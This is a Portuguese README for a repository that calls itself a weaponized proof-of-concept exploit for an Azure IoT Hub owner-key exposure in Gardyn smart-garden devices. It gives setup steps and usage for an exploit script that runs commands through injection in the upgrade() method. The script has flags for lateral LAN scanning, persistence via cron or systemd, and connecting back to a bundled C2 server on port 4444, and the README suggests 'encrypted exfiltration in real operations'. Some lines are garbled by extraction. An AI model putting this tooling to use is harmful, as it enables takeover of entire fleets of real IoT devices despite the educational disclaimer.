
Azure IoT Hub onde a exposição de uma Shared Access Key em nível de proprietário permite execução remota de código (RCE) não autenticada contra dispositivos IoT conectados. Prova de Conceito.
[!WARNING] Este repositório contém uma prova de conceito totalmente funcional para uma vulnerabilidade de IoT de alta gravidade.
Este código é fornecido estritamente para fins educacionais, pesquisa de segurança autorizada e testes defensivos.O uso não autorizado é ilegal. Testar ou explorar sistemas sem permissão explícita por escrito do proprietário viola o Computer Fraud and Abuse Act (CFAA), o EU Cyber Resilience Act (Ato de Resiliência Cibernética da UE) e outras leis aplicáveis na sua jurisdição.
Os autores não assumem nenhuma responsabilidade por qualquer uso indevido, dano ou consequência legal resultante deste código.
Opere sempre dentro dos limites legais e éticos.
O CVE-2026-13768 expõe a string de conexão de nível de proprietário do IoT Hub no sistema de jardim inteligente Gardyn, permitindo controle administrativo total sobre o Azure IoT Hub. Esta PoC demonstra como um atacante com a chave de proprietário pode alcançar execução remota de código (RCE) em dispositivos conectados por meio de injeção de comandos no método nuvem-para-dispositivo upgrade(), possibilitando o comprometimento de toda a frota.
O pacote inclui:
Este é um projeto de pesquisa em constante evolução - use-o com responsabilidade para entender e se defender contra configurações incorretas na nuvem e na cadeia de suprimentos de IoT.
upgrade() (explorando a injeção de comandos do CVE-2025-29631).
├── poc.py # Main weaponized exploitation script
├── validate.py # Safe, read-only validation tool
├── c2s.py # Lightweight C2 server for demos
├── TEMPLATES.md # Ready-to-Use Command Templates.
├── README.md
Clone o repositório:
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-13768.git
cd CVE-2026-13768
python3 -m venv venv
Ative o ambiente virtual (ou crie um):
source venv/bin/activate
python3 -m pip install --upgrade pip
Instale as dependências.
python3 -m pip install azure-iot-hub
python validate.py --conn-str "HostName=yourhub.azure-devices.net;SharedAccessKeyName=iothubowner;SharedAccessKey=..."
Código de saída 0 = Chave de proprietário válida com dispositivos acessíveis. Nenhuma modificação é feita.
python poc.py \
--mode exploit \
--conn-str "HostName=..." \
--device-id "target-device-123" \
--command "whoami" \
--lateral-scan \
--persist
| Argumento | Descrição | Obrigatório |
|---|---|---|
--mode | validate ou exploit | Não (padrão: validate) |
--conn-str | String de conexão do proprietário do IoT Hub | Sim |
--device-id | ID do dispositivo alvo | Sim (modo exploit) |
--command | Comando a ser executado via injeção no upgrade() | Não (padrão: id) |
--lateral-scan | Habilita reconhecimento de LAN a partir do dispositivo | Não |
--persist | Tenta persistência (ex.: cron, systemd) | Não |
--c2 | Conecta de volta ao servidor C2 | Não |
Execute python poc.py --help para ver todas as opções.
python c2s.py --port 4444
iothubownerupgrade()Nota: O código de movimentação lateral e de persistência são marcadores ilustrativos. Adapte-os ao sistema operacional e às restrições do dispositivo alvo (ex.: ambientes limitados ao BusyBox).
/tmp/cve_2026_13768.log por padrão. Substitua por exfiltração criptografada em operações reais.obfuscate_cmd() / deobfuscate_cmd().Contribuições são bem-vindas para:
Por favor, abra issues ou PRs.
Com grandes poderes vêm grandes responsabilidades.